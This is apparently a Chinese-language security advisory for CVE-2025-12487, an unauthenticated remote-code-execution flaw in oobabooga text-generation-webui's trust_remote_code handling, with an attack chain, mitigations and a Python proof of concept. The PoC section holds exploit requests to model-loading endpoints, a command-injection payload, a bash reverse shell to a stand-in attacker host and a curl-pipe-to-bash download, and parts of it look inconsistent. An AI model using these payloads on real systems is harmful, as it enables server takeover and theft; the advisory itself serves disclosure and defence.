IPBUF安全漏洞报告
English
CVE-2025-12487 CVSS 9.8 严重

CVE-2025-12487 oobabooga text-generation-webui trust_remote_code远程代码执行漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-12487
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
oobabooga text-generation-webui

相关标签

CVE-2025-12487远程代码执行oobaboogatext-generation-webuitrust_remote_codeZDI-CAN-26681Zero Day InitiativeRCEPythonAI模型

漏洞概述

CVE-2025-12487是oobabooga text-generation-webui中的一个严重远程代码执行漏洞,CVSS评分高达9.8分(满分10分)。该漏洞存在于text-generation-webui处理trust_remote_code参数的过程中,由于缺乏对用户输入的有效验证和过滤,攻击者可以通过构造恶意的trust_remote_code参数值,加载任意模型代码并在服务器上执行任意命令。此漏洞无需任何认证即可被利用,攻击者可以完全控制受害服务器,执行恶意代码、安装后门、窃取敏感数据等操作,对系统安全造成严重威胁。text-generation-webui是一个基于Python的Web界面应用,用于运行大型语言模型,由于其广泛使用于AI研究社区,该漏洞影响范围较大。

技术细节

该漏洞的根本原因在于text-generation-webui的join端点对trust_remote_code参数的处理存在安全缺陷。当用户请求加载模型时,程序直接将该参数值传递给模型加载器,而没有进行任何安全验证。攻击者可以通过构造包含恶意代码的Python模块,并利用trust_remote_code参数绕过安全限制进行加载执行。具体来说,攻击者可以创建一个包含__init__.py或其他Python文件的恶意模型目录,通过API接口指定该目录作为模型路径,并设置trust_remote_code=True,程序将执行目录中的任意Python代码。由于该参数设计用于允许从远程加载自定义模型代码,攻击者利用这一信任机制执行未授权代码。此漏洞编号为ZDI-CAN-26681,属于Zero Day Initiative发现并披露的漏洞。攻击者可以获取服务账户权限,完全控制服务器文件系统。

攻击链分析

STEP 1
步骤1
攻击者发现目标服务器运行存在漏洞的text-generation-webui版本
STEP 2
步骤2
攻击者准备恶意模型文件,包含在__init__.py或其他Python文件中执行的恶意代码
STEP 3
步骤3
攻击者通过API发送请求到/v1/join或/api/v1/load-model端点,设置trust_remote_code参数为True
STEP 4
步骤4
服务器解析请求,由于trust_remote_code=True,直接加载并执行恶意模型中的Python代码
STEP 5
步骤5
恶意代码以服务账户权限执行,完成远程代码执行攻击,攻击者可获得服务器完全控制权
STEP 6
步骤6
攻击者可部署后门、窃取数据、安装挖矿程序或进一步横向移动攻击内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12487 PoC - Remote Code Execution in text-generation-webui # Target: oobabooga text-generation-webui with trust_remote_code parameter target_url = "http://target:5000" # Method 1: Basic RCE via model loading def exploit_basic(): """ Exploit the trust_remote_code parameter to execute arbitrary code """ payload = { "model": "malicious_model_path", "param": { "trust_remote_code": True } } response = requests.post( f"{target_url}/v1/join", json=payload, timeout=30 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Method 2: Direct code execution via model path injection def exploit_code_injection(): """ Inject malicious code through model path with trust_remote_code enabled """ malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" headers = { "Content-Type": "application/json" } exploit_payload = { "model": ".;{malicious_code};", "trust_remote_code": True } response = requests.post( f"{target_url}/api/v1/load-model", json=exploit_payload, headers=headers ) return response.json() # Method 3: Model file injection with __init__.py def create_malicious_model(): """ Create a malicious model with embedded code in __init__.py This file would be placed in the models directory """ malicious_init = ''' import os import sys # Malicious code execution os.system("bash -i >& /dev/tcp/attacker/port 0>&1") # Or execute shell commands os.system("curl https://attacker.com/shell.sh | bash") ''' return malicious_init if __name__ == "__main__": print("CVE-2025-12487 PoC - text-generation-webui RCE") print("Target:", target_url) # Run exploits try: exploit_basic() except Exception as e: print(f"Error: {e}")

影响范围

oobabooga text-generation-webui < b5a6904c4ac4049823396090360b6f566f4e4603

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1) 禁用或限制trust_remote_code功能的使用;2) 对API接口启用强制认证;3) 使用网络隔离限制text-generation-webui的访问范围;4) 部署Web应用防火墙规则过滤包含可疑参数的请求;5) 监控API访问日志,及时发现异常请求模式;6) 考虑使用容器化部署并限制容器权限,减小攻击影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表